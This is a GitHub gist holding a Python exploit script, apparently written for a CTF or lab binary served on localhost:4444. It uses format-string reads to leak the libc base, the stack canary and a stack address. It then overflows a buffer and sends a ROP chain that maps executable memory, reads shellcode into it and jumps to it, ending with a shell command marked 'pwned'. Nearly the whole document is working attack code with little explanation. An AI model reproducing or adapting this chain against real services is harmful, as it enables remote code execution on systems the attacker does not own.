Skip to content

Instantly share code, notes, and snippets.

@P1kachu
Created January 22, 2017 14:37
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save P1kachu/1b3d3dc8fb2d41643832a8da9c907fe1 to your computer and use it in GitHub Desktop.
Save P1kachu/1b3d3dc8fb2d41643832a8da9c907fe1 to your computer and use it in GitHub Desktop.
ROP mmap + read
#!/usr/bin/env python3
import sys
from v0lt import *
MMAP_SIZE = 0x1000
PERM_RWX = 0x7
def check_stack():
'''
Bruteforce values to find which stack slot
is the one looked for
'''
nc.writeln("%{0}$p".format(sys.argv[1]))
try:
res = int(nc.read(), 16)
print("{0}: {1}".format(sys.argv[1], hex(res)))
except:
pass
exit(0)
if __name__ in "__main__":
# libc-2.24.so
# from gdb
ref_libc = 0x7ffff7a3c000
rnd_libc = 0x7ffff7af411a
ref_exit = 0x7ffff7a719d0
off_exit = ref_exit - ref_libc
ref_mmap = 0x7ffff7df2f80
off_mmap = ref_mmap - ref_libc
ref_read = 0x7ffff7df2e80
off_read = ref_read - ref_libc
nc = Netcat('localhost', 4444)
nc.writeln("%47$p")
libc = int(nc.read(), 16) - (rnd_libc - ref_libc)
nc.writeln("%57$p")
canary = int(nc.read(), 16)
nc.writeln("%39$p")
stack_addr = int(nc.read(), 16)
# Offsets in libc
exit = libc + off_exit
mmap = libc + off_mmap
read = libc + off_read
pop_rdi = 0x0001fc1a + libc
pop_rsi = 0x0001fbca + libc
pop_rcx = 0x0002d753 + libc
pop_rdx = 0x00001b92 + libc
pop_r8 = 0x00112476 + libc
xor_rax = 0x000805c5 + libc
dec_rax = 0x0015dd27 + libc
xchg_rax_rcx = 0x0005bacb + libc
shr_r9_cl = 0x000428df + libc
push_rsi = 0x0003277f + libc
add_rsi_rax = 0x00117622 + libc
# Fill the buffer
nc.write("n" * 408)
payload = struct.pack("<Q", canary)
# clean exit
payload += struct.pack("<Q", exit)
'''
MMAP:
mov r9d,0x0
mov r8d,0xffffffff
mov ecx,0x1
mov edx,0x7
mov esi,0x1000
mov edi,0x0
call 0x4003f0 <mmap@plt>
'''
## clear r9
# xor rax,rax; ret
payload += struct.pack("<Q", xor_rax)
# dec eax; ret
payload += struct.pack("<Q", dec_rax)
# xchg ecx,eax; ret
payload += struct.pack("<Q", xchg_rax_rcx)
# shr r9, cl ; mov qword [rdi], r9 ; ret
payload += struct.pack("<Q", shr_r9_cl)
## mmap
# pop rsi; ret
payload += struct.pack("<Q", pop_rsi)
payload += struct.pack("<Q", MMAP_SIZE)
# pop rdi; ret
payload += struct.pack("<Q", pop_rdi)
payload += struct.pack("<Q", 0)
# pop rdx; ret
payload += struct.pack("<Q", pop_rdx)
payload += struct.pack("<Q", PERM_RWX)
# pop rcx; ret
payload += struct.pack("<Q", pop_rcx)
payload += struct.pack("<Q", 0x22)
# pop r8 ; mov eax, 0x00000001 ; ret
payload += struct.pack("<Q", pop_r8)
payload += struct.pack("<Q", 0xffffffff)
payload += struct.pack("<Q", mmap)
'''
READ:
mov edx,0x1000
mov rsi,rax
mov edi,0x0
call 0x400440 <read@plt>
'''
## read from stdin
# pop rdi; ret
payload += struct.pack("<Q", pop_rdi)
payload += struct.pack("<Q", stack_addr)
# pop rsi; ret
payload += struct.pack("<Q", pop_rsi)
payload += struct.pack("<Q", 0)
# add rsi, rax ; mov qword [rdi+0x18], rsi ; ret
payload += struct.pack("<Q", add_rsi_rax)
# pop rdx; ret
payload += struct.pack("<Q", pop_rdx)
payload += struct.pack("<Q", MMAP_SIZE)
# pop rdi; ret
payload += struct.pack("<Q", pop_rdi)
payload += struct.pack("<Q", 0)
payload += struct.pack("<Q", read)
## jump on read buffer
payload += struct.pack("<Q", push_rsi)
# Send payload and stop reading in handle_client
nc.socket.send(payload)
nc.writeln('')
# send shellcode
sh = ShellCrafter(4096, "bin", "64", script_index=13)
sh.get_shellcodes(sh.keywords)
nc.shellcat(sh.shellcode)
# And, pwned
nc.writeln("ls")
print(nc.read())
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment